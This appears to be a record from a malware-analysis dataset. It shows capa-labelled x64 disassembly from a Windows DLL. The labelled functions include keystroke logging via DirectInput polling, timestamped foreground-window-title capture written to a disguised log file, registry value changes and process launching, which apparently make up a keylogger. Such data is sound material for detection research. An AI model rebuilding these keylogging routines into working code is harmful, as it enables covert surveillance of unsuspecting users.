joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18000f3d0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x610
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x600], rax
mov rdi, rcx
mov esi, edx
lea rcx, [rsp + 0x50]
mov rdx, rdi
mov r8d, 0x2d8
call fcn.180014d00
lea rcx, [rsp + 0x332]
xor ebp, ebp
xor edx, edx
mov r8d, 0x2ce
mov word [rsp + 0x330], bp
call fcn.180017bb0
mov qword [rsp + 0x30], rbp
lea r8d, [rbp + 1]
lea rcx, [rsp + 0x260]
xor r9d, r9d
mov edx, 0x40000000
mov dword [rsp + 0x28], ebp
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x18000f463
xor eax, eax
jmp 0x18000f4f9
lea r8d, [rsi - 0x2d8]
lea rdx, [rdi + 0x2d8]
lea r9, [rsp + 0x40]
mov rcx, rax
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x18000f45c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rsp + 0x330]
test eax, eax
je 0x18000f4c4
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x260]
lea rdx, str._s__s
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x18000f4d2
lea rdx, [rsp + 0x260]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [rsp + 0x54]
test eax, eax
je 0x18000f4e2
dec eax
jne 0x18000f4f4
xor edx, edx
jmp 0x18000f4e7
mov edx, 5
lea rcx, [rsp + 0x330]
call fcn.18000f520
mov eax, 1
mov rcx, qword [rsp + 0x600]
xor rcx, rsp
call fcn.180014cd0
mov rbx, qword [rsp + 0x640]
add rsp, 0x610
pop rdi
pop rsi
pop rbp
ret
Function at 0x18000f520
Capabilities:
Create process on windows
Query environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0xa10]
sub rsp, 0xb10
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rbp + 0xa00], rax
mov rdi, rcx
mov esi, edx
lea rcx, [rbp - 0x20]
xor edx, edx
mov r8d, 0x208
call fcn.180017bb0
mov edx, 0x2e
mov rcx, rdi
call fcn.18001677c
mov rbx, rax
test rax, rax
je 0x18000f76d
mov qword [rsp + 0xb38], r12
lea rcx, [rbp + 0x1f2]
xor r12d, r12d
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x1f0], r12w
call fcn.180017bb0
lea edx, [r12 + 0x20]
mov rcx, rbx
call fcn.18001677c
mov rcx, rbx
test rax, rax
je 0x18000f5d5
call qword [sym.imp.KERNEL32.dll_lstrlenW]
dec eax
movsxd rcx, eax
test eax, eax
jle 0x18000f5f2
cmp word [rbx + rcx*2], 0x20
je 0x18000f5db
dec rcx
dec eax
test rcx, rcx
jg 0x18000f5c2
jmp 0x18000f5f2
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rbp + 0x1f0]
movsxd r9, eax
mov r8, rbx
mov edx, 0x104
call fcn.180015a08
lea r8, [rbp - 0x20]
lea rcx, [rbp + 0x1f0]
mov edx, 1
call fcn.18000f790
test eax, eax
je 0x18000f680
lea rcx, [rbp + 0x610]
xor edx, edx
mov r8d, 0x3e8
call fcn.180017bb0
lea r8, [rbp - 0x20]
lea rdx, str._s_shellopencommand
lea rcx, [rbp + 0x610]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp - 0x20]
xor edx, edx
mov r8d, 0x208
call fcn.180017bb0
lea rcx, [rbp + 0x402]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x400], r12w
call fcn.180017bb0
lea r8, [rbp + 0x400]
lea rcx, [rbp + 0x610]
mov edx, 2
call fcn.18000f790
test eax, eax
jne 0x18000f687
xor al, al
jmp 0x18000f765
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x400]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea rdx, [0x180034b38]
lea rcx, [rbp - 0x20]
call fcn.180015ea4
test rax, rax
jne 0x18000f6e8
lea rdx, [0x180034b40]
lea rcx, [rbp - 0x20]
call fcn.180015ea4
test rax, rax
jne 0x18000f6e8
lea rdx, [0x180034360]
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rbp - 0x20]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x18000f6f4
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
xor edx, edx
lea rcx, [rsp + 0x58]
lea r8d, [rdx + 0x60]
call fcn.180017bb0
mov dword [rsp + 0x50], WSAGetLastError
test esi, esi
je 0x18000f71e
lea rax, str.WinSta0Default
mov qword [rsp + 0x60], rax
jmp 0x18000f72a
mov dword [rbp - 0x74], 1
mov word [rbp - 0x70], r12w
lea rax, [rbp - 0x40]
lea rdx, [rbp - 0x20]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
xor ecx, ecx
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov al, 1
mov r12, qword [rsp + 0xb38]
mov rcx, qword [rbp + 0xa00]
xor rcx, rsp
call fcn.180014cd0
mov rbx, qword [rsp + 0xb40]
add rsp, 0xb10
pop rdi
pop rsi
pop rbp
ret
Function at 0x18000f790
Capabilities:
Query or enumerate registry value

Disassembly:
mov dword [rsp + 0x10], edx
push rbx
push rsi
push rdi
sub rsp, 0x480
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x470], rax
mov rdi, r8
mov rsi, rcx
mov qword [rsp + 0x48], 0xffffffff80000000
xor ebx, ebx
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x50]
call fcn.180017bb0
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x260]
call fcn.180017bb0
nop
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rdx, rsi
mov rcx, 0xffffffff80000000
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x18000f818
or ebx, 0xffffffff
jmp 0x18000f9db
mov eax, dword [rsp + 0x4a8]
test eax, eax
je 0x18000f9db
cmp eax, 2
jbe 0x18000f990
cmp eax, 3
je 0x18000f943
cmp eax, 4
je 0x18000f8ed
cmp eax, 7
jne 0x18000f9db
mov dword [rsp + 0x30], 0x208
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4a8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x18000f9db
lea rbx, [rsp + 0x50]
nop dword [rax]
cmp word [rbx], 0
je 0x18000f8e0
mov r9d, 0x208
mov r8, rbx
mov edx, 0x104
lea rcx, [rsp + 0x260]
call fcn.180016830
mov r9d, 0x208
lea r8, [0x180034360]
mov edx, 0x104
lea rcx, [rsp + 0x260]
call fcn.180016830
xor edx, edx
mov rcx, rbx
call fcn.1800163d0
lea rbx, [rax + 2]
jmp 0x18000f890
lea rdx, [rsp + 0x260]
jmp 0x18000f9cd
mov dword [rsp + 0x30], 4
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4a8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x18000f9db
mov r8d, dword [rsp + 0x40]
lea rdx, [0x180034108]
mov rcx, rdi
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x18000f9d6
mov dword [rsp + 0x30], 0x208
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x4a8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x18000f9db
mov r8d, dword [rsp + 0x4a8]
lea rdx, str._08X
mov rcx, rdi
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x18000f9d6
mov dword [rsp + 0x30], 0x208
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4a8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x18000f9db
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ebx, 1
mov rcx, 0xffffffff80000000
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.180014cd0
add rsp, 0x480
pop rdi
pop rsi
pop rbx
ret
Function at 0x18000fa10
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
sub rsp, 0x30
cmp dword [rcx + 0x43c], 0
mov rbp, rdx
lea rax, [rsp + 0x50]
mov rsi, r8
mov rbx, rcx
lea rdi, str.Network
lea r12, str.AppEvents
mov rdx, rdi
mov r9d, 2
cmovne rdx, r12
mov rcx, 0xffffffff80000001
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x50]
mov rdx, rbp
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rbx + 0x43c], 0
lea r8, [rsp + 0x50]
cmovne rdi, r12
mov rcx, 0xffffffff80000001
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x18000facf
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rsp + 0x50]
mov r9d, 3
add eax, eax
xor r8d, r8d
mov rdx, rbp
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
add rsp, 0x30
pop r12
pop rdi
pop rsi
ret
Function at 0x180010980
Capabilities:
Enumerate pe sections

Disassembly:
push rbx
push rbp
push rdi
push r14
push r15
sub rsp, 0x20
mov r8, qword [rcx]
mov rbp, rcx
mov ecx, dword [rcx + 0x68]
movzx eax, word [r8 + 0x14]
mov r15, qword [r8 + 0x30]
dec rcx
mov r11d, dword [rax + r8 + 0x20]
lea r9, [rax + r8 + 0x18]
movabs rax, 0xffffffff00000000
and r15, rax
mov eax, dword [r9 + 0x10]
not rcx
or r11, r15
and rcx, r11
test eax, eax
jne 0x1800109e0
mov edx, dword [r9 + 0x24]
test dl, 0x40
je 0x1800109d8
mov eax, dword [r8 + 0x20]
jmp 0x1800109e0
test dl, dl
jns 0x1800109e0
mov eax, dword [r8 + 0x24]
mov edx, dword [r9 + 0x24]
mov ebx, 1
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], r12
mov r10d, eax
mov r14d, ebx
lea rdi, [0x180043c30]
mov qword [rsp + 0x68], r13
cmp bx, word [r8 + 6]
jae 0x180010b57
lea rbx, [r9 + 0x4c]
nop word [rax + rax]
mov esi, dword [rbp + 0x68]
mov r12d, dword [rbx - 0x1c]
mov eax, dword [rbx - 0x14]
or r12, r15
lea rdi, [rsi - 1]
not rdi
and rdi, r12
test eax, eax
jne 0x180010a53
mov r9d, dword [rbx]
test r9b, 0x40
je 0x180010a4a
mov eax, dword [r8 + 0x20]
jmp 0x180010a53
test r9b, r9b
jns 0x180010a53
mov eax, dword [r8 + 0x24]
mov r13d, eax
cmp rcx, rdi
je 0x180010b11
lea rax, [r10 + r11]
cmp rax, rdi
ja 0x180010b11
test r10, r10
je 0x180010b04
bt edx, 0x19
jae 0x180010ab7
cmp r11, rcx
jne 0x180010b04
cmp dword [r8 + 0x38], esi
je 0x180010a97
xor edx, edx
mov rax, r10
div rsi
test rdx, rdx
jne 0x180010b04
mov r9, qword [rbp + 0x58]
mov r8d, 0x4000
mov rdx, r10
mov rcx, r11
call qword [rbp + 0x30]
mov edx, dword [rbx]
mov r11, r12
mov rcx, rdi
mov r10, r13
jmp 0x180010b32
mov eax, edx
shr eax, 0x1d
and eax, 1
movsxd rcx, eax
mov eax, edx
shr eax, 0x1e
and eax, 1
cdqe
lea rcx, [rax + rcx*2]
mov eax, edx
shr eax, 0x1f
lea rcx, [rax + rcx*2]
lea rax, [0x180043c30]
mov r8d, dword [rax + rcx*4]
bt edx, 0x1a
jae 0x180010aef
bts r8d, 9
lea r9, [rsp + 0x50]
mov rdx, r10
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x180010b7c
mov edx, dword [rbx]
mov r11, r12
mov rcx, rdi
mov r10, r13
jmp 0x180010b32
mov eax, dword [rbx]
bt eax, 0x19
jae 0x180010b23
bt edx, 0x19
jae 0x180010b23
or edx, eax
jmp 0x180010b29
or edx, eax
btr edx, 0x19
mov r10, r13
sub r10, r11
add r10, r12
mov r8, qword [rbp]
inc r14d
add rbx, 0x28
movzx eax, word [r8 + 6]
cmp r14d, eax
jl 0x180010a20
mov ebx, 1
lea rdi, [0x180043c30]
test r10, r10
je 0x180010bc6
bt edx, 0x19
jae 0x180010b80
cmp r11, rcx
jne 0x180010bc6
mov r9, qword [rbp + 0x58]
mov r8d, 0x4000
mov rdx, r10
mov rcx, r11
call qword [rbp + 0x30]
jmp 0x180010bc6
xor eax, eax
jmp 0x180010bc8
mov eax, edx
shr eax, 0x1d
and eax, 1
movsxd rcx, eax
mov eax, edx
shr eax, 0x1e
and eax, 1
cdqe
lea rcx, [rax + rcx*2]
mov eax, edx
shr eax, 0x1f
lea rcx, [rax + rcx*2]
mov r8d, dword [rdi + rcx*4]
bt edx, 0x1a
jae 0x180010bb1
bts r8d, 9
lea r9, [rsp + 0x50]
mov rdx, r10
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x180010b7c
mov eax, ebx
mov r13, qword [rsp + 0x68]
mov r12, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop rdi
pop rbp
pop rbx
ret
Function at 0x180011b50
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
dec edx
jne 0x180011b94
cmp qword [0x180046188], 0
jne 0x180011b94
xor eax, eax
lea r8, [0x1800115c0]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
mov qword [0x180046188], rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 1
add rsp, 0x38
ret

Function at 0x180011ba0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
xor eax, eax
lea r8, [0x1800115c0]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
xor al, al
add rsp, 0x38
ret
Function at 0x180011bf0
Capabilities:
Check mutex on windows
Delete file
Get common file path
Get file size
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x60
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x58], rax
xor r9d, r9d
mov rsi, rdx
mov rbp, rcx
lea r13, [0x180045c70]
lea edx, [r9 + 0x23]
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], r13
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rdx, str.DisplaySessionContainers.log
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov r8, r13
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
or edx, 0xffffffff
mov rcx, rax
mov qword [0x180046750], rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor r12d, r12d
xor r9d, r9d
mov qword [rsp + 0x30], r12
lea r8d, [r12 + 2]
mov edx, 0x40000000
mov rcx, r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateFileW]
xor edx, edx
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0x3200000
jbe 0x180011cbb
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [0x180046750]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rsi]
lea r9, [0x180046198]
lea r8, [0x1800337d0]
mov edx, 0x800
mov qword [rsp + 0x20], r12
call qword [sym.imp.DINPUT8.dll_DirectInput8Create]
test eax, eax
jns 0x180011cf4
xor al, al
jmp 0x180011dd1
mov rcx, qword [0x180046198]
lea r8, [0x1800461a0]
lea rdx, [0x1800337f0]
mov rax, qword [rcx]
xor r9d, r9d
call qword [rax + 0x18]
test eax, eax
js 0x180011ced
mov rcx, qword [0x1800461a0]
lea rdx, [0x1800337b0]
mov rax, qword [rcx]
call qword [rax + 0x58]
test eax, eax
js 0x180011ced
mov rcx, qword [0x1800461a0]
mov rdx, qword [rbp]
mov r8d, 0xa
mov rax, qword [rcx]
call qword [rax + 0x68]
test eax, eax
js 0x180011ced
mov rcx, qword [0x1800461a0]
mov dword [rsp + 0x40], shutdown
mov qword [rsp + 0x44], reloc.WS2_32.dll_recv
mov dword [rsp + 0x4c], r12d
mov dword [rsp + 0x50], 0x3c
mov rax, qword [rcx]
lea r8, [rsp + 0x40]
mov edx, 1
call qword [rax + 0x30]
test eax, eax
js 0x180011ced
mov rcx, qword [0x1800461a0]
mov rax, qword [rcx]
call qword [rax + gethostname]
test eax, eax
js 0x180011ced
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, shutdown
mov dword [0x180046f98], eax
call qword [sym.imp.USER32.dll_GetKeyState]
cmp ax, 0xff81
je 0x180011dc5
mov dword [0x18004675c], r12d
cmp ax, 1
jne 0x180011dcf
mov dword [0x18004675c], 1
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.180014cd0
mov rbx, qword [rsp + 0xa0]
add rsp, 0x60
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x180011e00
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rcx
mov rcx, qword [0x180046750]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor r9d, r9d
mov qword [rsp + 0x30], 0
lea rcx, [0x180045c70]
lea r8d, [r9 + 2]
mov edx, 0x40000000
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180011eb1
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x58], 0
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r9, [rsp + 0x58]
mov rdx, rdi
lea r8d, [rax + rax]
mov rcx, rbx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x180046750]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x180011ec0
Capabilities:
Get graphical window text

Disassembly:
push rbx
sub rsp, 0x870
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x860], rax
lea rcx, [0x180046770]
xor edx, edx
mov r8d, 0x800
call fcn.180017bb0
call qword [sym.imp.USER32.dll_GetForegroundWindow]
lea rdx, [0x180046770]
mov rcx, rax
mov r8d, 0x800
mov qword [0x180046768], rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
lea rcx, [rsp + 0x62]
xor ebx, ebx
xor edx, edx
mov r8d, 0x7fe
mov word [rsp + 0x60], bx
call fcn.180017bb0
mov r11, qword [0x180046760]
cmp qword [0x180046768], r11
je 0x180011fdc
lea rcx, [0x180046770]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x180011fce
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [rsp + 0x58]
movzx ecx, word [rsp + 0x52]
movzx r11d, word [rsp + 0x5c]
movzx eax, word [rsp + 0x5a]
movzx r10d, word [rsp + 0x56]
movzx r9d, word [rsp + 0x50]
mov dword [rsp + 0x40], r11d
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x28], r10d
mov dword [rsp + 0x20], ecx
lea rcx, [rsp + 0x60]
lea r8, [0x180046770]
lea rdx, [0x180034c70]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x60]
call fcn.180011e00
lea rcx, [0x180046770]
xor edx, edx
mov r8d, 0x800
call fcn.180017bb0
mov ebx, 1
mov rcx, qword [0x180046768]
mov qword [0x180046760], rcx
mov eax, ebx
mov rcx, qword [rsp + 0x860]
xor rcx, rsp
call fcn.180014cd0
add rsp, 0x870
pop rbx
ret
Function at 0x18001b853
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x18003ca90]
jne 0x180014cea
rol rcx, 0x10
test cx, 0xffff
jne 0x180014ce6
repz ret
ror rcx, 0x10
jmp 0x18001b7ac
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x180044770]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x180044868]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x18001b831
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x180044770]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x18001b853
mov rax, qword [rsp + 0x88]
mov qword [0x180044868], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x180044808], rax
mov rax, qword [0x180044868]
mov qword [0x1800446e0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1800447f0], rax
mov dword [0x1800446d0], 0xc0000409
mov dword [0x1800446d4], 1
mov rax, qword [0x18003ca90]
mov qword [rsp + 0x68], rax
mov rax, qword [0x18003ca98]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x180044768], eax
mov ecx, 1
call fcn.180026784
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x180030bd8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x180044768], 0
jne 0x18001b8da
mov ecx, 1
call fcn.180026784
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x180026894
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.18001de08
xor ebx, ebx
cmp qword [0x1800457c0], rbx
mov rdi, rax
jne 0x1800269a7
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x180026a7e
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180026a7e
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x1800457c0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x1800457c8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x1800457d0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x1800457e0], rax
test rax, rax
je 0x18002699e
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x1800457d8], rax
jmp 0x1800269ae
mov rax, qword [0x1800457d8]
jmp 0x1800269b5
mov rax, qword [0x1800457d8]
mov r11, qword [0x1800457e0]
cmp rax, rdi
je 0x180026a1c
cmp r11, rdi
je 0x180026a1c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x1800457e0]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x180026a1c
test rax, rax
je 0x180026a1c
call rsi
test rax, rax
je 0x180026a16
lea rcx, [rsp + 0x30]
mov r9d, reloc.WS2_32.dll_inet_ntoa
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x180026a16
test byte [rsp + 0x40], 1
jne 0x180026a1c
bts ebp, 0x15
jmp 0x180026a5c
mov rcx, qword [0x1800457c8]
cmp rcx, rdi
je 0x180026a5c
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x180026a5c
call rax
mov rbx, rax
test rax, rax
je 0x180026a5c
mov rcx, qword [0x1800457d0]
cmp rcx, rdi
je 0x180026a5c
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x180026a5c
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x1800457c0]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x180026a7e
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x180026a80
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180014cd0
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret